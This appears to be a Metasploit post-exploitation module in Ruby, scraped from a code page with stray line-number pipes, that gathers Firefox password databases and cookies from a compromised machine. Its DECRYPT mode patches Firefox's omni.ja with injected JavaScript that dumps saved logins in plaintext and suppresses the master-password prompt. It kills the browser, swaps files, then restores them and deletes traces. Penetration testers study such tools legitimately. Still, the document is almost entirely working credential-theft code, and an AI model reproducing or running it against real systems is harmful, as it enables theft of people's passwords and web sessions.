737 lines
25 KiB
Ruby
737 lines
25 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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#
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# Standard Library
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#
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require 'tmpdir'
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#
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# Gems
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#
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require 'zip'
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#
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# Project
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#
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require 'msf/core'
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require 'rex'
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require 'msf/core/auxiliary/report'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Auxiliary::Report
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include Msf::Post::Windows::UserProfiles
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Multi Gather Firefox Signon Credential Collection',
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'Description' => %q{
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This module will collect credentials from the Firefox web browser if it is
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installed on the targeted machine. Additionally, cookies are downloaded. Which
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could potentially yield valid web sessions.
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Firefox stores passwords within the signons.sqlite database file. There is also a
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keys3.db file which contains the key for decrypting these passwords. In cases where
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a Master Password has not been set, the passwords can easily be decrypted using
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3rd party tools or by setting the DECRYPT option to true. Using the latter often
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needs root privileges. Also be warned that if your session dies in the middle of the
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file renaming process, this could leave Firefox in a non working state. If a
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Master Password was used the only option would be to bruteforce.
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Useful 3rd party tools:
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+ firefox_decrypt (https://github.com/Unode/firefox_decrypt)
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+ pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz)
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'bannedit',
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'xard4s', # added decryption support
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'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
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],
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'Platform' => %w{ bsd linux osx unix win },
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'SessionTypes' => ['meterpreter', 'shell' ]
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))
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register_options([
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OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
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], self.class)
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register_advanced_options([
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OptInt.new('DOWNLOAD_TIMEOUT', [true, 'Timeout to wait when downloading files through shell sessions', 20]),
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OptBool.new('DISCLAIMER', [false, 'Acknowledge the DECRYPT warning', false]),
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OptBool.new('RECOVER', [false, 'Attempt to recover from bad DECRYPT when possible', false])
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], self.class)
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end
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def run
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# Certain shells for certain platform
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vprint_status("Determining session platform and type")
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case session.platform
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when 'unix', 'linux', 'bsd'
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@platform = :unix
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when 'osx'
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@platform = :osx
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when 'windows'
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if session.type != "meterpreter"
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print_error "Only meterpreter sessions are supported on Windows hosts"
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return
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end
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@platform = :windows
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else
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print_error("Unsupported platform: #{session.platform}")
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return
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end
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if datastore['DECRYPT']
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do_decrypt
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else # Non DECRYPT
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paths = []
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paths = enum_users
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if paths.nil? or paths.empty?
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print_error("No users found with a Firefox directory")
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return
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end
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download_loot(paths.flatten)
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end
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end
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def do_decrypt
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unless datastore['DISCLAIMER']
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decrypt_disclaimer
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return
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end
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omnija = nil # non meterpreter download
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org_file = 'omni.ja' # key file
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new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
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temp_file = "orgomni.ja" # backup of key file
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# Sets @paths
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return unless decrypt_get_env
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# Check target for the necessary files
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if session.type == "meterpreter"
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if session.fs.file.exist?(@paths['ff'] + temp_file) && !session.fs.file.exist?(@paths['ff'] + org_file)
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print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.")
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return
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elsif session.fs.file.exist?(@paths['ff'] + temp_file)
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decrypt_file_stats(temp_file, org_file, @paths['ff'])
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if datastore['RECOVER']
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return unless decrypt_recover_omni(temp_file, org_file)
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else
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print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.")
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return
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end
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elsif !session.fs.file.exist?(@paths['ff'] + org_file)
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print_error("Could not download #{org_file}. File does not exist.")
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return
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end
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end # session.type == "meterpreter"
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session.type == "meterpreter" ? (size = "(%s MB)" % "%0.2f" % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = "")
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tmp = Dir::tmpdir + "/" + new_file # Cross platform local tempdir, "/" should work on Windows too
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print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size)
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if session.type == "meterpreter" # If meterpreter is an option, lets use it!
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session.fs.file.download_file(tmp, @paths['ff'] + org_file)
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else # Fall back shells
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omnija = read_file(@paths['ff'] + org_file)
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if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
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print_error("Could not download: #{@paths['ff'] + org_file}")
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print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter"
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return
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end
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print_status("Saving #{org_file} to: #{tmp}")
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file_local_write(tmp, omnija)
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end
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res = nil
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print_status("Injecting into: #{tmp}")
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begin
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# Automatically commits the changes made to the zip archive when the block terminates
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Zip::File.open(tmp) do |zip_file|
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res = decrypt_modify_omnija(zip_file)
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end
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rescue Zip::Error => e
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print_error("Error modifying: #{tmp}")
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return
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end
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if res
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vprint_good("Successfully modified: #{tmp}")
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else
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print_error("Failed to inject")
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return
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end
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print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")
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print_warning("This may take some time...") if [:unix, :osx].include?(@platform)
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if session.type == "meterpreter"
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session.fs.file.upload_file(@paths['ff'] + new_file, tmp)
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else
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unless upload_file(@paths['ff'] + new_file, tmp)
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print_error("Could not upload: #{tmp}")
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return
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end
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end
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return unless decrypt_trigger_decrypt(org_file, new_file, temp_file)
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decrypt_download_creds
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end
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def decrypt_disclaimer
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print_line
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print_warning("Decrypting the keys causes the remote Firefox process to be killed.")
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print_warning("If the user is paying attention, this could make them suspicious.")
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print_warning("In order to proceed, set the advanced option, DISCLAIMER, to TRUE.")
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print_line
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end
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def decrypt_file_stats(temp_file, org_file, path)
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print_line
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print_error("Detected #{temp_file} already on the target. This could possible a possible backup of the original #{org_file} from a bad DECRYPT attack.")
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print_status("Size: #{session.fs.file.stat(@paths['ff'] + org_file).size}B (#{org_file})")
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print_status("Size: #{session.fs.file.stat(@paths['ff'] + temp_file).size}B (#{temp_file})")
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print_status("#{org_file} : Created- #{session.fs.file.stat(@paths['ff'] + org_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + org_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}")
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print_status("#{temp_file}: Created- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + temp_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}")
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print_line
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end
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def decrypt_recover_omni(temp_file, org_file)
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print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)")
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file_rm(@paths['ff'] + org_file)
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rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file)
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if session.type == "meterpreter"
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print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file)
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unless session.fs.file.exist?(@paths['ff'] + org_file)
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print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")
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return false
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end
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end # session.type == "meterpreter"
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true
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end
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def enum_users
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paths = []
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id = whoami
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if id.nil? or id.empty?
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print_error("Session #{datastore['SESSION']} is not responding")
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return
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end
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if @platform == :windows
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vprint_status("Searching every possible account on the target system")
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grab_user_profiles().each do |user|
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next if user['AppData'].nil?
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dir = check_firefox_win(user['AppData'])
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paths << dir if dir
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end
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else # unix, bsd, linux, osx
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@platform == :osx ? (home = "/Users/") : (home = "/home/")
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if got_root
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vprint_status("Detected ROOT privileges. Searching every account on the target system.")
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userdirs = cmd_exec("find #{home} -maxdepth 1 -mindepth 1 2>/dev/null").gsub(/\s/, "\n")
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userdirs << "/root\n"
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else
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vprint_status("Checking #{id}'s Firefox account")
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userdirs = "#{home + id}\n"
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end
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userdirs.each_line do |dir|
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dir.chomp!
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next if dir == "." or dir == ".." or dir =~ /No such file/i
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@platform == :osx ? (basepath = "#{dir}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{dir}/.mozilla/firefox/")
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print_status("Checking for Firefox profile in: #{basepath}")
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checkpath = cmd_exec("ls #{basepath}").gsub(/\s/, "\n")
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checkpath.each_line do |ffpath|
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ffpath.chomp!
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if ffpath =~ /\.default/
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vprint_good("Found profile: #{basepath + ffpath}")
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paths << "#{basepath + ffpath}"
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end
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end
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end
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end
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return paths
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end
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def check_firefox_win(path)
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paths = []
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ffpath = []
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path = path + "\\Mozilla\\"
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print_status("Checking for Firefox profile in: #{path}")
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stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil
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if !stat
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print_error("Firefox was not found (Missing profiles.ini)")
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return
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end
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session.fs.dir.foreach(path) do |fdir|
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#print_status("Found a Firefox directory: #{path + fdir}")
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ffpath << path + fdir
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break
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end
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if ffpath.empty?
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print_error("Firefox was not found")
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return
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end
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#print_status("Locating Firefox profiles")
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path << "Firefox\\Profiles\\"
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# We should only have profiles in the Profiles directory store them all
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begin
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session.fs.dir.foreach(path) do |pdirs|
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next if pdirs == "." or pdirs == ".."
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vprint_good("Found profile: #{path + pdirs}")
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paths << path + pdirs
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end
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rescue
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print_error("Profiles directory is missing")
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return
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end
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paths.empty? ? (nil) : (paths)
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end
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def download_loot(paths)
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loot = ""
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print_line
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paths.each do |path|
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print_status("Profile: #{path}")
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# win: C:\Users\administrator\AppData\Roaming\Mozilla\Firefox\Profiles\tsnwjx4g.default
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# linux: /root/.mozilla/firefox/tsnwjx4g.default (iceweasel)
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# osx: /Users/mbp/Library/Application Support/Firefox/Profiles/tsnwjx4g.default
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profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s
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profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty?
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session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("ls #{path} 2>/dev/null").split())
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files.each do |file|
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file.chomp!
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if file =~ /^key\d\.db$/ or file =~ /^cert\d\.db$/ or file =~ /^signons.sqlite$/i or file =~ /^cookies\.sqlite$/ or file =~ /^logins\.json$/
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ext = file.split('.')[2]
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ext == "txt" ? (mime = "plain") : (mime = "binary")
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vprint_status("Downloading: #{file}")
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if @platform == :windows
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p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}")
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session.fs.file.download_file(p, path + "\\" + file)
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print_good("Downloaded #{file}: #{p.to_s}")
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else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
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loot = cmd_exec("cat #{path}//#{file}", nil, datastore['DOWNLOAD_TIMEOUT'])
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if loot.nil? || loot.empty?
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print_error("Failed to download #{file}, if the file is very long, try increasing DOWNLOAD_TIMEOUT")
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else
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p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
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print_good("Downloaded #{file}: #{p.to_s}")
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end
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end
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end
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end
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print_line
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end
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end
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# Checks for needed privileges and if Firefox is installed
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def decrypt_get_env
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@paths = {}
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check_paths = []
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loot_file = Rex::Text::rand_text_alpha(6) + ".txt"
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case @platform
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when :windows
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unless got_root || session.sys.config.sysinfo['OS'] =~ /xp/i
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print_warning("You may need SYSTEM privileges on this platform for the DECRYPT option to work")
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end
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env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive')
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tmpdir = env_vars['TEMP'] + "\\"
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drive = env_vars['SystemDrive']
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# This way allows for more independent use of meterpreter payload (32 and 64 bit) and cleaner code
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check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
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check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
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when :unix
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unless got_root
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print_error("You need ROOT privileges on this platform for DECRYPT option")
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return false
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end
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# Unix matches linux|unix|bsd but BSD is not supported
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if session.platform =~ /bsd/
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print_error("Sorry, BSD is not supported by the DECRYPT option")
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return false
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end
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tmpdir = '/tmp/'
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check_paths << '/usr/lib/firefox/'
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check_paths << '/usr/lib64/firefox/'
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check_paths << '/usr/lib/iceweasel/'
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check_paths << '/usr/lib64/iceweasel/'
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when :osx
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tmpdir = '/tmp/'
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check_paths << '/applications/firefox.app/contents/macos/'
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end
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@paths['ff'] = check_paths.find do |p|
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check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '')
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vprint_status("Checking for Firefox directory in: #{check}")
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if directory?(p.sub(/(\\|\/)$/, ''))
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print_good("Found Firefox directory: #{check}")
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true
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else
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false
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end
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end
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if @paths['ff'].nil?
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print_error("No Firefox directory found")
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return false
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end
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@paths['loot'] = tmpdir + loot_file
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true
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end
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def decrypt_modify_omnija(zip)
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# Which files to extract from ja/zip
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files = [
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'components/storage-mozStorage.js', # stor_js
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'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul
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'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul
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'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
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]
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# Extract files from zip
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arya = files.map do |omnija_file|
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fdata = {}
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begin
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fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/
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fdata['outs'] = zip.get_output_stream(omnija_file)
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rescue
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print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
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print_error("This could be due to a corrupt download or a unsupported Firefox/Iceweasel version")
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return false
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end
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fdata
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end
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# Read contents of array (arya)
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stor_js, pwd_xul, dlog_xul, res_js = arya
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stor_js['outs_res'] = res_js['outs']
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# Insert payload (close after starting up - allowing evil js to run and nothing else)
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wnd_close = "window.close();"
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onload = "Startup(); SignonsStartup(); #{wnd_close}"
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# Patch commonDialog.xul - Get rid of (possible) master password prompt
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dlog_xul['content'].sub!(/commonDialogOnLoad\(\);/, wnd_close)
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dlog_xul['outs'].write(dlog_xul['content'])
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dlog_xul['outs'].close
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vprint_good("[1/2] XUL injected - commonDialog.xul")
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# Patch passwordManager.xul - Close password manager immediately
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pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)
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pwd_xul['outs'].write(pwd_xul['content'])
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pwd_xul['outs'].close
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vprint_good("[2/2] XUL injected - passwordManager.xul")
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# Patch ./components/storage-mozStorage.js - returns true or false
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return decrypt_patch_method(stor_js)
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end
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# Patches getAllLogins() methods in ./components/storage-mozStorage.js
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def decrypt_patch_method(stor_js)
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data = ""
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# Imports needed for IO
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imports = %Q|Components.utils.import("resource://gre/modules/NetUtil.jsm");
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Components.utils.import("resource://gre/modules/FileUtils.jsm");
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Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
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|
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# Javascript code to intercept the logins array and write the credentials to a file
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method_epilog = %Q|
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var data = "";
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var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";
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var file = new FileUtils.File(path);
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|
|
var outstream = FileUtils.openSafeFileOutputStream(file);
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var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
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createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
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converter.charset = "UTF-8";
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if (logins.length != 0) {
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for (var i = 0; i < logins.length; i++) {
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data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";
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}
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} else {
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data = "no creds";
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}
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var istream = converter.convertToInputStream(data);
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NetUtil.asyncCopy(istream, outstream);
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return logins;
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|
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regex = [
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nil, # dirty hack alert
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[/return\slogins;/, method_epilog],
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[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
|
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]
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|
|
|
# Match the last two regular expressions
|
|
i = 2 # ...this is todo with the nil in the above regex array & regex command below
|
|
x = i
|
|
stor_js['content'].each_line do |line|
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# There is no real substitution if the matching regex has no corresponding patch code
|
|
if i != 0 && line.sub!(regex[i][0]) do |match|
|
|
if regex[i][1]
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vprint_good("[#{x-i+1}/#{x}] Javascript injected - ./components/storage-mozStorage.js")
|
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regex[i][1]
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end
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end # do |match|
|
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i -= 1
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end # if i != 0
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data << line
|
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end
|
|
|
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# Write the same data to both output streams
|
|
stor_js['outs'].write(data)
|
|
stor_js['outs_res'].write(data)
|
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stor_js['outs'].close
|
|
stor_js['outs_res'].close
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|
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i == 0 ? (true) : (false)
|
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end
|
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|
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|
|
# Starts a new Firefox process and triggers decryption
|
|
def decrypt_trigger_decrypt(org_file, new_file, temp_file)
|
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[org_file, new_file, temp_file].each do |f|
|
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f.insert(0, @paths['ff'])
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end
|
|
|
|
# Firefox command line arguments
|
|
args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'
|
|
|
|
# In case of unix-like platform Firefox needs to start under user context
|
|
case @platform
|
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when :unix
|
|
# Assuming userdir /home/(x) = user
|
|
print_status("Enumerating users")
|
|
users = cmd_exec("ls /home 2>/dev/null")
|
|
if users.nil? or users.empty?
|
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print_error("No normal user found")
|
|
return false
|
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end
|
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user = users.split[0]
|
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# Since we can't access the display environment variable we have to assume the default value
|
|
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
|
|
args << "\""
|
|
cmd = "su #{user} -c"
|
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when :windows, :osx
|
|
cmd = @paths['ff'] + "firefox"
|
|
# On OSX, run in background
|
|
args << "& sleep 5 && killall firefox" if @platform == :osx
|
|
end
|
|
|
|
# Check if Firefox is running and kill it
|
|
if session.type == "meterpreter"
|
|
session.sys.process.each_process do |p|
|
|
if p['name'] =~ /firefox\.exe/
|
|
print_status("Found running Firefox process, attempting to kill.")
|
|
unless session.sys.process.kill(p['pid'])
|
|
print_error("Could not kill Firefox process")
|
|
return false
|
|
end
|
|
end
|
|
end
|
|
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
|
|
p = cmd_exec("ps", "cax | grep firefox")
|
|
if p =~ /firefox/
|
|
print_status("Found running Firefox process, attempting to kill.")
|
|
term = cmd_exec("killall", "firefox && echo true")
|
|
if term !~ /true/
|
|
print_error("Could not kill Firefox process")
|
|
return false
|
|
end
|
|
end
|
|
end
|
|
sleep(1)
|
|
|
|
#
|
|
# Rename-fu:
|
|
# omni.ja (original) -> orgomni.ja (original_backup)
|
|
# *random*.ja (evil) -> omni.ja (original)
|
|
# ...start & close Firefox...
|
|
# omni.ja (evil) -> *random*.ja (pointless temp file)
|
|
# orgomni.ja (original_backup) -> omni.ja (original)
|
|
#
|
|
vprint_status("Renaming .JA files")
|
|
rename_file(org_file, temp_file)
|
|
rename_file(new_file, org_file)
|
|
|
|
# Automatic termination (window.close() - injected XUL or firefox cmd arguments)
|
|
print_status("Starting Firefox process to get #{whoami}'s credentials")
|
|
cmd_exec(cmd, args)
|
|
sleep(1)
|
|
|
|
# Lets just check theres something before going forward
|
|
if session.type == "meterpreter"
|
|
i=20
|
|
vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") unless session.fs.file.exist?(@paths['loot'])
|
|
while (!session.fs.file.exist?(@paths['loot']))
|
|
sleep 1
|
|
i -= 1
|
|
break if i == 0
|
|
end
|
|
print_error("Missing loot file. Something went wrong.") unless session.fs.file.exist?(@paths['loot'])
|
|
end # session.type == "meterpreter"
|
|
|
|
print_status("Restoring original .JA: #{temp_file}")
|
|
rename_file(org_file, new_file)
|
|
rename_file(temp_file, org_file)
|
|
|
|
# Clean up
|
|
vprint_status("Cleaning up: #{new_file}")
|
|
file_rm(new_file)
|
|
if session.type == "meterpreter"
|
|
if session.fs.file.exist?(temp_file)
|
|
print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
|
|
end
|
|
unless session.fs.file.exist?(org_file)
|
|
print_error("Unable to find #{org_file} on target. Something went wrong.")
|
|
end
|
|
end # session.type == "meterpreter"
|
|
|
|
# At this time, there should have a loot file
|
|
if session.type == "meterpreter"
|
|
unless session.fs.file.exist?(@paths['loot'])
|
|
print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.")
|
|
# Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
|
|
print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter"
|
|
return false
|
|
end
|
|
end
|
|
|
|
true
|
|
end
|
|
|
|
|
|
def decrypt_download_creds
|
|
print_good("Downloading loot: #{@paths['loot']}")
|
|
loot = read_file(@paths['loot'])
|
|
|
|
if loot =~ /no creds/
|
|
print_status("No Firefox credentials where found")
|
|
return
|
|
end
|
|
|
|
# Better delete the remote creds file
|
|
vprint_status("Cleaning up: #{@paths['loot']}")
|
|
file_rm(@paths['loot'])
|
|
|
|
# Create table to store
|
|
cred_table = Rex::Text::Table.new(
|
|
'Header' => 'Firefox Credentials',
|
|
'Indent' => 1,
|
|
'Columns'=>
|
|
[
|
|
'Hostname',
|
|
'User',
|
|
'Password'
|
|
]
|
|
)
|
|
|
|
creds = loot.split("^")
|
|
creds.each do |cred|
|
|
hostname, user, pass = cred.rstrip.split(" :: ")
|
|
cred_table << [hostname, user, pass]
|
|
|
|
# Creds API
|
|
service_data = {
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :session,
|
|
session_id: session_db_id,
|
|
post_reference_name: self.refname,
|
|
smodule_fullname: self.fullname,
|
|
username: user,
|
|
private_data: pass,
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
create_credential(credential_data)
|
|
end
|
|
|
|
# Create local loot csv file
|
|
path = store_loot(
|
|
"firefox.creds",
|
|
"text/plain",
|
|
session,
|
|
cred_table.to_csv,
|
|
"firefox_credentials.txt",
|
|
"Firefox Credentials")
|
|
vprint_good("Saved loot: #{path.to_s}")
|
|
|
|
# Display out
|
|
vprint_line("\n" + cred_table.to_s)
|
|
end
|
|
|
|
|
|
def got_root
|
|
case @platform
|
|
when :windows
|
|
session.sys.config.getuid =~ /SYSTEM/ ? true : false
|
|
else # unix, bsd, linux, osx
|
|
id_output = cmd_exec("id").chomp
|
|
id_output.include?("uid=0(") ? true : false
|
|
end
|
|
end
|
|
|
|
|
|
def whoami
|
|
if @platform == :windows
|
|
id = session.sys.config.getenv('USERNAME')
|
|
else
|
|
id = cmd_exec("id -un")
|
|
end
|
|
|
|
id
|
|
end
|
|
end
|